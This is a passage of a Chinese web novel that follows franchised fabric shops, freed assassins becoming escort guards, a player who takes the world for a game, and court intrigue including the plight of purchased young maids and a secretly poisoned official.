也有人有见识,意识到刚才那物是符咒,他们只是知晓这类符咒在黎州的景旭宫售卖,价格甚是昂贵,如今这些镖局手中也有,刚才还用了不少,脸上却未曾显露丝毫心疼之色,且对他们态度不仅没变得恼怒,反而更是柔和几分,此番推断,这符咒定不是从景旭宫拿到的,很有可能是从风仙县拿到的,且价格不是很贵,不然这一单生意赔本,任谁都会觉得晦气不满,不可能还会给他们好脸色看。 这么一推断,这人便得到了个心惊肉跳的推断。 莫非风仙县内有能和景旭宫媲美的道宫存在?且或许此道宫规模更大,不然如何解释符咒价格不贵? 想到仙人身份,此人难免有多猜测,难不成这道宫便是仙人亲自开辟,而后再招收相应的弟子? 被招安后强行给自己安排了过往背景找补的永道宫:好好好,就这样脑补我们,仙人就是我们的老祖宗!我们就是正经效忠于仙人的弟子们! 马车还在继续前进,而众人心中则是各有担忧欣喜。 与此同时,幽州内,加入加盟店的众掌柜总算完成了装修,可以试营业了。 先前的造势已经打好,如今便只需要按照计划实施后续安排即可。 先将新布料展示出去,而后又是实地对比旧布料,倒是很快便引来一群围观百姓。 第250章 新词汇 幽州境内。 自从加盟布料店开业后,先前的布料行掌柜们各个脸带欣喜。 倒不是因为别的,而是因为总算能赚钱了! 要知道越是拖延,时机只会越来越难把控,就该在如今好赚钱的时候痛快赚钱才是。 先前那丛喜带来的特别营销组的人员过来告诉他们该如何营销运营。 一来是售前售后服务要跟上,既然加入了加盟店,那便按照加盟店的规矩走,若有质量不好的,买家过来退货时必须要痛快退,同时给与安抚补贴。 二来是在售卖时最好拿出旧布料和新布料对比,百姓的眼睛也精得很,好东西是唬不了人的。 三来便是设定回购优惠政策。若在十日内再次购买布料,便可享受相应的折扣或者是瑕疵布料的优先购买权。 毕竟以往瑕疵布料可是许多人想买买不到的好玩意。 起初这些加盟店的掌柜们还很是怀疑——这三条营销策略看着都是需要他们单方面付出的,这就算是有用,又能赚多少钱? 但又一想,既然对方有运营过黎州连锁布料行的经验,想来幽州和黎州的经验是共通的,他们先按下不表,看一个月再说,若是效益不好再考虑别的办法脱身便可。 既有解法,众人心态就平稳许多。 等到开业那日,按照那运营所说,将新旧布料对比一番,当着百姓的面下水用热水淘洗布料,而后又正值中午暴晒一番。 “诸位请看,这便是我们此番经过改进后的新布料,在固色和颜色鲜艳度上有了明显的提升,尤其这红色和靛蓝二色更是优秀。 至于别的布料材质也是出了新颜色,诸位可进店慢慢欣赏。” 边说,这布料掌柜便将从丛喜那边拿来的色卡册子翻开,让众人去看那新增设出来的颜色。 ——颜色调得相当淡雅清新,很是符合文人追逐风尚的心思。 除了满足文人喜好外,也有满足喜欢打扮奢靡的浓郁深沉颜色。 总之一打眼看过去,的确是多了不少新颜色。 普通点的百姓大都是看着红色和靛蓝二色料子琢磨,考虑买这两个颜色,实用又耐穿,而手头有钱的则是兴冲冲去看了新色卡,订购了不少新颜色的布料。 这些掌柜的对于卖货自然很有一手,眼看大主顾买得高兴,为笼络对方,赶紧又拿出一叠新奇的花样给各个府内的管事的瞧。 “管事的您瞧,这是新兴的时髦花样底子,若是拿回去,可供小娘子们描摹,消遣玩乐。” 这话说得好听,其实这种花样底子,黎州那边大户人家的小娘子都是不喜欢描摹刺绣的,主要也是怕累着眼睛,且这样的活计大都是贴身丫鬟负责的。 如今坎城也有这样的趋势了,这布料掌柜话说到这里,管事的自会有所定夺。 稍微扫了一眼,本以为还是原先那些无趣的花样时,管事的居然意外从中看到了数个新奇花样,新奇的花卉倒是不曾见过,且这底子还算有新意,拿回去可以让贴身丫鬟们给小娘子们或者小郎君们做个荷包,或者在衣服上刺个新花样。 这会自是一并将这些花样底子也带走。 这花样底子自然是送的,这也是一种笼络手段,若是两方货物质量相差不大的情况下,顾客总归是更喜欢时不时送点小礼物的那家,且更何况他送的东西暂时没有替代性,还处于一个新奇的状态,这对于笼络关系很是好用。 等到第一日售卖结束后,此人关了铺子算了今日营业后愣在原地。 像是不敢置信,此人又将算盘拨得飞快,等到再看到和上次一模一样的结果后,此人还是不免震颤。 ——居然是原先利润的三倍? 这也太恐怖了! 毕竟他觉得能翻个倍就已经很好,更何况一下多了这么多? 但转念一想,第一日营业嘛,大伙图个新鲜,买的人自然多,利润高一些也正常。 最主要是得看接下来几日表现才是往后正常情况。 本是这么想的,但等到连续七八天每日利润至少都是翻倍,好的时候甚至能翻两倍时,就算曾经见过大世面的布料行掌柜也不得不表示还是世面见少了啊! 见过世面的掌柜皆是如此,何况那些没怎么见过世面的? 这会眼看每日利润稳稳翻倍,这会乐得恨不得见到那丛喜给对方磕个头才是。 ——给丛喜磕完了也得给自己磕一个才是!好在当初胆大,决定加入这加盟店内,若是没加入,恐怕如今连喝口汤都没位置! 幽州布料行爆火的直观结局便是对于染料和工具的要求大幅度增加,而相应的,原先设置在风仙县的染料厂和器械厂很快便需要再次扩展分厂,不然如何能支撑得起幽州这么多加盟店的进货压力? 很快,综合考虑一番后,新的两个分厂则是被建造在了仙师旗下不同的两个县域内,若是进度快的话大概过个十来天就可以建设完毕招工了。 与此同时,幽州则是有不少不曾被邀请加入连锁的布料铺子也纷纷试探着打听联系丛喜,看看能不能也让他们交点钱加入这加盟布料店。 原先曾经拒绝过丛喜的一批人肠子都悔青了。 ——不是,当初他们到底在装什么啊!也不知道在谨慎个什么劲!如今看这加盟店遍地都是,有道是法不责众,有这么多人承担风险,几乎等同于没风险!这会好了,如今只能眼睁睁看着别人发财,这算个什么事! 恼怒后又试图去联络丛喜,但好不容易联络上了却均被拒绝了。 理由很是正常——加盟店暂时没有继续扩张计划。 但明眼人都知道这是假的,毕竟丛喜只是拒绝了他们,但还接受了一批人啊?! 丛喜倒是久违的感觉到了一股爽快。 先前他们上门时是低姿态,但如今看到有钱可赚,这些人自然是急了,各个求着入场,但他才不会轻易同意。 除了小小的报复心理外,最重要的是加盟店选的大都是本区域的顶流店铺或者次顶流,无论谁答应了,那片地方自然是只有一个加盟店,不然多个加盟店反而会让加盟带来的利润下滑,从而引发一连串滑坡坏事。 至于丛喜同意的加盟店,大都是他们先前因为地方太偏,所以根本就没能调查,如今加盟店火了后,在布料界可以说是属于无人不知无人不晓的程度,原先那些他们没时间,没精力整理的偏僻,但有有奇奇怪怪客流的铺子便自发主动找上门来。 在了解过后这些偏僻小铺子的实力后,丛喜第一反应是惊诧。 ——本以为这么偏的地方没什么人购买才是? 但事实恰恰相反,这些铺子似乎正是因为偏,成为附近唯一的布料店,而又因为附近多个小村落不方便个人采买,于是他们提供上门送货服务,前提是这些小村落的人得提前将所要的货件大致告诉他们才行。 如此倒是可以实施精准版的点对点运输,且运输一趟往往能出货不少,竟然是更为省时省力。 且因为购买不容易,这些村民们往往都很好说话,售后几乎为0。 丛喜听到这里时,脑内不自觉想到了先前他曾从李思口中听到过的新词汇。 叫什么“社区团购”,大致意思便是由一带头人负责推送商品消息,而后居民们统一将需求上报,再由带头人,也就是团长将居民们的需求记录统计,将统计好后的所需物品回传给商户,商户再派人将商品运送而来的一种形式。 至于这词语来源,丛喜听李思说是从赵金构口中听来的。 再往上朔源的话,大概率是赵金构和方大人这种级别的人物聊天得来的新词汇,到底在丛喜看来,这全风仙县最有学识,最聪慧的便是方大人,反正往常本县多出来的新设施,新政策,亦或是新的东西,大多数,本县民众第一时间会想到方大人又开始试点推行了。 如今对于这社区团购的看法,丛喜也持乐观意见,尤其是如今亲眼看到类似这种模式的商业运营后,这会心思逐渐活络。 ——日后或许这社区团购还得继续搞啊,他可以提前预备起来,瞅准机会也加入其中,若是时机合适,想来或许能让他大赚一笔! 丛喜稍微分神,而后从想法中回神,着重于处理眼前最重要的加盟店一事。 既这偏远地方的布料行已经证明了财力后,丛喜没拒绝的理由,欣然同意。 而这些布料行的掌柜们不在乎店铺装修成什么样,他们更在乎供应的颜料,工具什么时候能运送过来,好让他们赶快也跟着赚一笔钱才是。 丛喜大概说了个数字,而后将人打发走,总算得了片刻安宁。 人一多,哪怕是谈论的东西不算特别复杂,丛喜都感觉到了力不从心,这会一时间倒是对李思,对赵金构,对方大人产生了浓厚的敬佩之情。 ——怪不得说这人和人不能比啊!他单单是处理这活计都觉得疲惫,原先李思前辈作为初拓者,负责处理黎州加盟店时,想必是花费了更多心血,到底黎州势力错综复杂,若是走错一步便是万劫不复,而李思前辈竟能游刃有余的处理各方势力,还能将加盟店一事落地得如此完美,果然是有前辈的风范! 且观李思前辈很少有疲惫的模样,难道这类人往日都不累的?精力旺盛? 由不得他胡思乱想多久,下一个商户立马推开门谄媚笑着进来。 而先前从黎州元城来的三百四十匠人在知晓又要开设两个新厂后,这会心里急得要死,各个期盼着自家人赶紧过来,能赶得上这批招聘最好,不然错过这一批,下一批他们也不晓得是啥时候去了啊!毕竟如今谁不羡慕万惠这日子?《 》 250-260 第251章 第252 怀疑 因幽州加盟店运营良好,连带着镖局已经开设了幽州直通附近几个县域的护送路线。 不过大部分时候都是官府给出钱,让他们负责派送装修工人,亦或是材料,染料,工具等等。 这番下来,镖局则是又多了不少新路线,且这些路线都是固定要跑的路线。 路线一多,镖局的镖师选择也会多,且不同路线,不同护送难度,给的钱自然也是不同的。 因路线增多,人手明显不够用,很快,镖局开始招收新的镖师。 这消息传出去后,倒是吸引了一批新人。 这些人便是原先廖尚书手下的那群死士,因被派来风仙县,如今被扣押,强迫干活了有三个月后,总算被释放出去。 但前提是必须要发誓效忠于仙师。 对于这要求,这些死士自然是立马答应。 原先不了解这风仙县时,只觉得这里处处古怪,但他们都呆了三个月了,早就知晓这风仙县是个不可多得的好地方,相比于廖尚书,他们自然愿意给仙人效力。 且说句难听的,也就是仙师愿意给他们一个机会,若是换做别人,对于他们这样的死士早就该杀了便是,如何还能让他们碍眼的活着? 而仙师却愿意让他们干活磨砺意志,又假借干活的名义,让他们静下心慢慢了解到本县。 姜定:???不是,他只是觉得有免费劳动力不用白不用? 至于为何三个月就将他们放走,这点其实也着实让姜定痛心疾首啊! 谁不乐意有个免费劳工,但这游戏十分讲究人权,在这些俘虏工作了三个月后,游戏便弹出提示,告诉他要么选择将这些人释放,要么选择将这些人重新关押回到牢房,毕竟不能一直把人当黑工使唤。 姜定愤怒,姜定小发雷霆。 嘴上嘟囔着破游戏误我,实际上玩得爱不释手。 等到看清楚这牢房居然还得负责每日给犯人提供两餐后,姜定没带犹豫的,立马决定放人。 ——开什么玩笑,玩家很抠的! 只有白嫖npc的时候,绝对不会被npc找到机会白嫖的! 这会立马点了释放,心想还好早看到了,不然得扣多少钱啊! 而这些廖尚书手下的死士们自然是不知晓,只是感慨作为日理万机,无所不能的仙人,对他们这样的人却依旧这般耐心,这般温和,这让他们早就干涸冷漠的内心逐渐破开硬土,探出新的生机。 因这群人早就恨透了廖尚书,毕竟他们的家人因为廖尚书的驱逐,在来风仙县的路上死的死,伤的伤,现又是亲自经历过仙人给与的温暖,现在选择效忠谁自然是不言而喻。 等到挨个发完誓后,又测试了一番心理健康程度,大部分人都可以出去自己找工作了。 这些人中,家人尚在的自然是和家人团聚,而家人均死去的则是去找机会想去黎州,这会知晓他们的头,初六已经去了黎州监视那廖尚书,如今自然也想跟着过去,好给他多份助力,到底仇人一致啊。 这些人很快就决定打工,然后攒些钱重回黎州,等到了解一番在本县打工需要扫盲证后,众人倒是没想到自己居然还有一日需要被按头学习??? 要知道原先当死士只是需要埋头苦干,会武功,会看眼色,听从管理,忠心耿耿即可! 如今还需要读书,倒是让众人微微发愁——他们没读过书,这真能拿到那所谓的扫盲证? 但转念一想,老大都拿到了,他们作为部下既然想支持老大,自然得跟上老大的步伐才是啊! 如今哪有那么多时间给他们犹豫墨迹的? 咬牙学习。 等一学进去,众人顿时觉得这学习别说,还真挺有意思的,怪不得先前黎州的学费那般高,原来课程竟然是这般有趣? 不过即便这学堂这般有趣,竟然还有那些不知感恩的黎州大户人家的小郎君选择逃课,这让这群死士很不解。 而后得出结论,纨绔子弟,烂泥扶不上墙。 黎州学堂整日被逼着读写背诵之乎者也,怒而放弃的纨绔子弟默默流泪:啊???不是,这学堂学的东西到底哪有趣了??? 到底是扫盲班教授的内容深入浅出,且大都是科普作用,死士们很快就拿到了扫盲证。 等到拿到证件后,他们便开始寻找活计,这一找,自然将目光放在了镖局上,毕竟他们武功好,很适合当镖师啊! 与此同时,姜定在放了先前那批来自黎州元城的死士后,突然后知后觉想到了原先被俘虏的景旭宫众外门弟子。 当初他是觉得这些人能免费制符还挺划算的,这才将人留下制作符咒,现在都过了多久了,不会这些人自动转到牢房开始蹭饭了吧??? 姜定大惊失色,立马点开牢房查看。 奇怪,竟然是没人—— 人去哪了?难道是替他将这些人给放回去了? 等等,这景旭宫他还没收拾干净呢,万一这些人回去拉人过来整他,他怎么办? 姜定赶紧点开原先景旭宫外门弟子的雇佣界面,而后看到这些人竟然还被他雇佣,但雇佣价格涨到了每日三百文后,这会微楞。 嗯???谁干的,谁允许给每日三百文了! 这收费制作出来的符咒他还没想好用到哪里去啊! 原先免费的随便给商队用就用了,不心疼,这会收费制作的符咒,再免费给下去,这让姜定颇为心疼。 但当看到符咒价格竟然不是免费,而是有了具体价格后,姜定微微一愣,随后便是释然。 靠,这游戏太智能了,怎么做到成本一高,与此同时也提高售价的? 啧啧啧,这模式简直比他原先玩过的别的古板模式智能多了。 毕竟原先他玩过的游戏只能古板的执行玩家的要求,不存在变通的时候。 不过话说,这制符日薪三百,还是让姜定有些心疼,毕竟原来是免费的,如今也没从日薪一百开始过渡,总让姜定冥冥中产生一种淡淡的忧伤。 心痛之余,姜定又使用之前的游戏搜索记录功能,仔细看这些人到底是什么情况。 等到看完后,大概清楚了。 在三个月过了后,这些人有两个选择,要么继续制作符咒,要么便是回牢房呆着。 姜定本以为至少得有几个npc是游戏设定出来的恶心他,会故意在牢房里蹭吃蹭喝时,却发现没一个人选择。 惊诧万分后,又仔细看了看上面人物的心理描写。 当初那些景旭宫外门弟子本以为一辈子都会这样被敌人囚禁,而后制作一辈子的符咒时,三个月后,变故出现了。 对方给出了两个选择,这在景旭宫众人看来,这和招安有啥区别啊! 既然已经体会过三个月的相对自由,谁乐意再回到牢房去? 自然纷纷选择以每日三百文的日薪继续干下去,且这次他们在发了誓后获得了更多的自由,不像原先像犯人一样被管得严实。 不过景旭宫众人很是好奇,毕竟他们并非同一时间被释放出来,最低期限为三个月,也有人时间更长,稍微熟悉的人很快品出不对味来。 这关押时间久的均是原先作恶的人,像他们这种原先最多也就是靠着景旭宫身份坑蒙拐骗了几次的,倒是三个月就被放了出去。 若是涉及故意杀人的,便是很难被释放出来了。 这会众人心生敬畏,不敢轻视先前发过的毒誓了。 ——他们是道士,比别人更清楚语言的约束,对于仙人这种级别的人物来说,绝对是控制人的最主要手段。 这会赶紧在心里发誓要重新做人。 除了对这誓言更为看重外,众人难以猜测这仙人到底是如何知晓他们过往过错的? 正疑惑不解时,他们倒很快发现端倪。 ——本地的忏悔室。 大概就是仙人知晓你曾犯过的错,有错便去忏悔,等到忏悔完毕,这才算是仙人彻底接纳了你,准许你生活在他旗下的土地上。 这些人才知晓,前段时间这忏悔室内人可是多得很,多少人还得通过黄牛手中的票过来忏悔,如今新入人口少了,原先一股脑来忏悔的人也早就忏悔过了,现在也就是新人和大家日常做了错事会来忏悔,所以人并不多。 景旭宫众人微微犹豫,而后还是走进了这忏悔室内。 既然仙人设置此物,那便是提醒他们,所有在他旗下之人,或者说,天地万物,他都看在眼里。 别想着耍花招。 虽说他们既然能被放出来,那便是因为仙人大概率选择给他们一个重新做人的机会,但他们也得奉上诚意才行! 这会忏悔完毕后,各个心想着下个月的工资得拿过来,算作布施费 而此刻,看清楚这些npc 内心所写后的姜定大吃一惊。 靠,这也太真实了? 这想法活灵活现,简直和真人没区别,这会不免怀疑人生。 真有游戏能做到这么真实? 正怀疑之际,姜定疑惑着上网搜了搜“游戏太真实了怎么办”,“游戏人物内心描写太真实,我有些怀疑游戏的真实性了”等等,诸如此类的搜索词条。 等到他点开类似问题的首赞回答时,立马一目十行的看下去。 这是一个在高新领域工作的答主,写的便是这几年游戏研究发展的主要方向,最核心的要点便是人物角色的拟真化和情感化。 “游戏想让用户停留,想让用户更多的增加游戏游玩时长,引导其付费意愿,最主要的核心要点便是让用户怀疑游戏的真实性。 所以必要的手段便是提升游戏npc的拟人程度。 且不选择剧情的主要人物塑造,更偏向于无关紧要的npc塑造,这样会让用户产生一种微妙的怀疑和探索欲。” 第252章 非你 回答问题的答主回答等级很高,这帖子看得姜定原先那点刚升起的疑惑很快又散了。 原来是未来游戏研究的大方向啊,他说这游戏怎么能那么真实,合着是因为走入了这些游戏策划们精心设计的情感陷阱内了。 片刻后,姜定顿觉合理,毕竟他不过是个再普通不过的普通人,如何能比得过这些专业人士? 乖乖走进陷阱,误以为游戏人物有自己的情感,这也合情合理,如果没有他这样的普通人,那这些专业人士怎么找存在感? 看完这帖子,姜定又翻看了一番评论,在评论里也看到了数个评价,大概内容是分享他们原先在游戏里遇到的真实得让他们怀疑游戏世界是真实存在的。 姜定看得入迷,这会沿着帖子一股脑往下翻看评论,有时候评论写得过于出彩悲伤,他还会忍不住眼眶微红,又骂几句现在的游戏真会骗玩家眼泪,而后默默继续查看。 等到翻阅完毕这帖子下的回复后,姜定发觉他先前的怀疑很是合理,且这正是游戏做得好的表现之一。 本来他也打算写点游戏内让他觉得无比真实的事,但刚点开回答,码了一行字后,姜定又删除了。 先前被那股激动的感觉刺激得很想码字,告诉众人自己也曾有过类似的感触,但那股激涌的情感一旦熄灭,又开始犯懒,觉得自己已经颅内高潮过了,不如算了,等日后这游戏他打通关后再写也不迟。 于是这件事便被他搁置下来,打算日后再写。 此刻,风仙县镖局内正是被先前那些死士围得满满当当。 负责招收工作的镖头完全没想到他招人怎么还能招收到这么多人来着? 且各个实力不俗,差点让他选择困难。 从中挑选了数位后,剩余的人镖头也没浪费,而是赶紧紧急呼唤了别的镖局,问问他们需不需要镖师,毕竟对方武功这么到位的不好遇到啊! 原先的话,一个普通镖师在年头好的时候,每个月收入大概在2-5两,如今风仙县整体收入上涨,镖师的收入自然也跟着上涨了。 从先前的月薪2-5两,翻了数倍。 一来是因为本县整体工资上升,变相相当于提高了人均工资,二来便是因为如今线路增加,镖师们日常几乎都是日日有活做,一来二去,自然工资高了许多。 虽说如今有符咒可作为托底使用,但当镖师自然还是危险的。 原先一个月才赚2-5两,如今这点钱是一趟的钱,一个正常的镖师,每个月大约能赚15-20两。 这对比于先前,得翻了四五倍。 且这只是普通镖师,若是那等武功高强的,愿意接点私人活计的镖师,只会赚得更多。 此番整改,镖师们自然兴奋,要说如今的跑商难度对于镖师们来说,其实是下降了的。 因有符咒可以提前购买,这便算作护身符和最后的保命王牌。 原先他们没有符咒护身时,那可真是脑袋别在裤腰带上,赚得还没如今多。 且如今不仅仅是工资高,路线还多。 路线多便代表着工作趋于稳定,不像是原先一样,一个月只有几天活计能干,剩下时候都是闲着。 这番整改过后,镖师这一行业迎来了前所未有的地位提升,到底如今月薪能达到15-20两的人还是少。 先前这批当死士的人也是被这收入吓一跳。 等等,原先他们当死士时,差不多是给了一百来两的安家费,之后便算作给廖尚书卖命。 算下来的话,竟然是完全没法和这风仙县比? 毕竟镖师一年就能赚一百来两,但他们先前可是将自己的后半辈子卖命给廖尚书的! 一时半会,众死士心中难免感慨。 当死士要做的活计对比当镖师要做的活计,哪个更轻松自然是一目了然。 更别提了解一番后,发现镖师包吃包住,日常还有福利,显得他们原先当死士和个笑话一样。 那家人尚在的死士们美美加入镖局,成为一名镖师,这样的月薪让他能够很轻松的养活全家,且生存概率高多了。 而家人已死的死士们眼看这近在咫尺的幸福和自己错身而过,自然是对廖尚书的恨意达到了高峰,发誓先为家人报仇,而后再返回风仙县,日后效忠于仙师。 无论是抱着何种目的,反正本县的镖局很迅速的补充上了人才。 那些决定要前去黎州的死士们自然关注的是黎州路线,打算到时候趁跟着大部队前往黎州。 黎州元城。 此刻正值夏季,温度高了许多,好在是今年的雨水较为丰沛,不存在往年干旱的状况,这也算是让黎州保皇派的人松了口气。 而此时恰逢小皇帝该去那景旭宫内求个好彩头,这是一年一度的大事,寓意着替百姓求个风调雨顺。 这等大事自然很快便被众人放在心上,最近操心的便都是这祈福一事。 按照往常,小皇帝只需要按照流程祈福,然后拿着提前预备好的签条,给百姓们展示。 这些签条大都是一等一的好签,但百姓们不知晓,只是觉得天子能抽到如此签条,那便是他们今年可以风调雨顺了。 日后若是真还算顺利,那便是天子的恩情,若不幸遇到去年那样的干旱,人只要活下来了,那也算是天子的恩情。 总之好签的界限很是模糊,非要解释范围的话,那便是灵活解释。 此事除了那景旭宫首领和几位位高权重的保皇派知晓真相,别的人自然一概不知。 其实保皇派今年是打算给小皇帝建一个新的避暑山庄一类的东西,这避暑山庄一旦建立,那肯定规模要大,毕竟代表皇家脸面,若是建得小了岂不是丢分? 当然,主要也是可以趁机中饱私囊。 当保皇派提出此建议时,以往不问世事的小皇帝倒是意外否了。 只是说去年大旱搞得民不聊生,如今若是继续如此大兴土木,恐怕会引起百姓不满。 小皇帝不仅仅不同意建造避暑山庄,同时下令减轻赋税。 朝廷上众人不敢说什么,下了朝自然围聚在一起低声谈论。 当然,这些人自然是在自家谈论的,毕竟隔墙有耳。 “竟是没想到小皇帝也有硬气起来的一次?这番风采倒是有几分老皇帝的模样。” “嘘——小点声,小皇帝处境艰难,本来就要天下三分,如今只能依附那保皇派一行人,可不是行事困难?” “所以说先前小皇帝的贪玩是为了麻痹旁人?今日便是他反咬的第一口?” 说话这人生得眉眼如画,俊秀非凡,日常在朝堂上不表态,不站队,属于中立派。 这会似看热闹一样轻笑,旁人忙瞪他,不过态度也是带笑,毕竟这本就是私底下闲谈。 “谭江,说这话也不怕被拉出去砍了,咱们这可算是私底下谈论皇上了。 这番伶牙俐齿,倒是没见你在朝堂上说过话。” 谭江心中冷笑——说话?表态?这朝廷配吗? 面上淡漠。 “都中立了,还说什么。” 有人笑他。 “谭江,先前那个时候我记得你可是大胆得很,还当场和那些保皇派的人叫板呢,如今倒是不像我认识的那个谭江了。” 一提起过往,谭江不自觉握紧了手指,脸上依旧淡漠。 “谁没有个年轻时候?只是现在到了年纪,折腾不起来了。” 他这话说得很是克制,但几人都知道这是他不爽了。 谭家作为中立派中较为可观的势力,原先几年前的谭江自然是被家里养得像是一柄锋利的剑。 带着年轻人的冲劲,想着要为朝廷效力,为百姓发声,愿天下大同。 他起初确实是这么想的,也是这么做的,朝廷上他谁也不惯着,该怎么说就怎么说,没人能从他手中混淆过去,他也不收贿赂,事情一旦定责,该怎么办就怎么办,实在是很有原则,很有风骨的一个人。 当初不少人恨他恨得要死,以为是谭江看不顺眼他们,刚想着报复,但眼看谭江此人将所有人都得罪一番,而后又释然了。 ——得了,看来此人确实是无差别创死任何一个人,根本不看关系,看面子,只是实事求是。 这番耿直让不少人敬畏十分,日常也无人敢落在他手里。 不为别的,关键是他真能做到铁面无情啊! 别人还尚有几分能操作的空间,若是遇到谭江,那便自认倒霉吧! 谭江保持这份性情,倒是意外还有一批对他评价不错的人,于是朝廷上便成了两派队伍。 一队是想将他踹到地方去,省得天天在朝堂上心直口快言语,坏自己好事,其中以保皇派的人自然恨透了谭江,毕竟每次他们一旦插手小皇帝的决策,便会被谭江拦下,而后恨恨操控失败。 另一队则是对谭江欣赏大于厌恶,毕竟谭江对别人要求高,但此人他对自己也狠啊! 不双标,这点就是很多人做不到的。 且当初为何谭江没被参下地方,主要一是因为谭家势力大,二是因为小皇帝个人偏好,对谭江还算护着,这才没让保皇派的人得逞。 但好景不长,保皇派众人也逐渐发现小皇帝的喜好,而后特意离间二人,很快,没了小皇帝刻意的维护,谭江就算有家族势力,也被保皇派迅速参到了偏远地方去当个小官。 路途遥远,在路上谭江就遭遇了好几次刺杀,但好在他本人从小学武,且此行谭家给他配备了护卫,这才没让他“病死”在路上。 当初的谭江还不服气,还想靠着自己做出一番事业,但他在外地付出努力,做出功绩,却被折磨刁难,又被抢夺功劳,如此循环了数年后,原先那股少年心气逐渐被磨灭,尤其是谭家还将重心放在了别的小辈身上,他算是被彻底放弃的棋子。 第253章 归顺 谭江不自觉眉头微蹙。 想到过往,总会让他心中压抑得很。 不单单是对当初被扔到地方冷落的苦楚,更多的是一种心灵上的破灭。 他觉得自己的追求变得遥不可及,他的坚持全是错误的,那几年让他认识到,如果没有谭家,他所谓的理想不过是个笑话。 之后至于他是如何从地方回到了中央,期间所遭受的苦楚和白眼暂且不表,最重要的变化是谭江变了。 他不再当尖锐的剑,而逐渐转化成和谭家一样沉默冰冷的剑鞘。 不得不说,自从他开始保持中立后,这关系处起来倒是比原先更为顺畅了。 回到中央自然不容易,谭江的理智和理想将他硬生生分成两半。 一半在撕扯着他跳下众人都在的悬崖,另一半则是死死的拽着他不肯彻底屈服。 如今听闻小皇帝居然开始试探着反抗那保皇派的操控后,谭江嘴硬,却知道自己心底还是不可避免的涌出一股淡淡的期待。 他总会觉得这世道还会是有救的,不至于让他会蒙着眼,在这条丧失自我的道路上,一条路走到黑。 但与此同时,他的理智告诉他别期待太多,毕竟小皇帝终究不是先皇,做不到他期待中的事。 既然是众人小聚,这话题便草草带过,而关于这避暑山庄的草案被拒一事倒也很让保皇派几人微微恼怒。 但左右又一想,倒也不怪小皇帝不肯,主要也是因为去年实在是旱情严重,看来这中饱私囊之举只能换个由头了。 其中魏公公当然是最为恼火的那个。 他原先就为了讨好小皇帝送了不少供他吃喝玩乐之物,为的便是日后从中捞一笔,如今好事被打断,这会除了恼怒外便是怀疑小皇帝是否真如同所见那般贪玩。 但等手下的探子告诉他小皇帝依旧如往常一样只顾吃喝玩乐后,他总算松了口气。 ——看来便是真如同他们所猜测那般,虽说小皇帝不管事,但一旦上朝,身边总有人多多少少会说着往年旱情,时间一久,自然做事会有所忌惮。 很快,他便歇了心思,决定等日后经给太后办寿的名义再捞一笔,毕竟等办寿宴时已是冬日,间隔时间久,又靠近过年,怎么看都该热闹一番。 且给太后过寿,小皇帝无论如何都得表示一番孝心,这事定是板上钉钉。 魏公公很快便放松神情,经由两个丫鬟搀扶着上床休息。 大言朝的床铺讲究一个小且精美,为何要小,寓意便是要聚气,只是如今不大的床上还隆起两个凸起,原是魏公公的暖床丫鬟。 虽说如今天热,屋内放冰即可,但权贵均喜好与人不同,尤其是魏公公此人更是如此。 因早年过得很是凄苦,如今得了势,更是要求大大小小的下人们要伺候妥当。 往常冬日是需要两个丫鬟负责暖床,到了夏日自然是要丫鬟负责扇风,一夜都不得停。 暖床丫鬟不好当,大都是苦命人家长得还算标志的小娘子,总之不能相貌丑陋,省得让大人看了心生不痛快。 当然,这当暖床丫鬟自然不是谁相当就能当上的,一来是钱给的相对多,二来虽说不可能和大人物有些别的事,只是负责暖床,但好歹是能接近大人物,若是日常有些许困难,或许还能递上一些话,若是大人心情好了,说不定会帮她们一把。 对于这些暖床丫鬟们来说,夏日比冬日好过。 夏日只需要扇风,在大人需要茶水时将温好的茶迅速递过去,供对方喝了便是。 而冬日则是需要提前服用发热药物,将身体烧得和火炉一样,这才将冰冷的被褥暖热,且大人让她们时候时候退下就得退下。 一般来说,疼爱女儿的人家不乐意让女儿做这活计,所以能让小娘子来做这活计的大都是本来就对女儿不好的穷苦人家,或者干脆是从外地买来的,基本上各个的身契都捏在主人家手里,所以这些丫鬟们不敢放肆。 但总归那药物对身体有坏的影响,且大部分丫鬟都是10-16岁的年纪,不少人没多久便因为吃药一命呜呼,但在这里没人在乎。 买一个丫鬟并不贵,且权贵们需要这种阶级落差获得快感,于是这项业务便一直存在于大人物之间。 所以不单单是魏公公如此,其余朝廷上不少譬如廖尚书这种级别也都会征用这类丫鬟,主打一个别人都有我不能没有的心态。 当然,并非每一个大人物都有,其中也有不少觉得此举过于残忍的正派清流人物并不乐意如此做,但自己不做却无法阻止别人去做,所以久而久之,这事倒是在上层成了一件无关紧要的事情。 木棉和兰玉便是廖尚书府内的暖床丫鬟,两人是一对双胞胎姐妹,年纪尚小,只有12岁。 虽说年纪小,但这世道会逼得人飞快成长,两个小丫鬟倒是机灵。 二人是被家中在10岁时卖入府内的,当初因看两人模样端正,又得了双胞胎这个稀奇劲,家中还多得了十两银子,以60两的价格将两人卖到了廖府,做暖床丫鬟一个月大概能拿一两银子,这对于两人来说,实在是不可多得的工钱。 且有吃有住的,只是需要喝点药,睡冷被窝,夏天熬夜扇扇子,日常再做些叠被子一类的活计。 这些苦和原先小时候饿肚子挨打的苦来比不值一提,且她们小时候家中没钱时,睡得被窝还要比这冰冷。 毕竟她们家里可是没那么多钱能够烧银丝炭的,别说炭火,她们家冬日连柴火都烧不起。 所以当初两人被挑走做暖床丫鬟时,她们和将她们卖走的家人是真心实意的高兴。 在他们看来,去那廖府至少比在他们家呆着享福! 不少人都这般想,所以这买卖才会一直都有。 而木棉和兰玉两人则是一左一右,替廖尚书扇风。 最近廖尚书每逢半夜都要喝两次茶水,比原先起夜更频繁了。 两个小丫鬟是伺候入夜的,自然瞧得分明,廖尚书本人倒是没太在意,毕竟身体没别的毛病,只是起夜多了一次,后来也让大夫看了,说是没病,应当是到了年纪,且夏日更热,自然想饮茶解渴。 廖尚书完全不曾意识到自己是中毒了,也得是初六这毒下得隐蔽。 这毒没发作时,和好人无碍,但等真的发作时,几乎瞬间便能让人一命呜呼。 此刻初六倒是乖乖蹲点,在元城忙碌。 先前他只是打算杀死廖尚书的,但很快慎刑司的人便联系上了他,大意便是这廖尚书现在死的话太痛快,且死得不够有价值,最好是他加入他们,统一由方大人指挥,日后不说复仇,定会让这廖尚书死得其所,且关键是加入慎刑司,初六也会得到更多更明确的指令,以及各种更前沿的消息。 且慎刑司还给发工资。 一番下来,初六决定加入了。 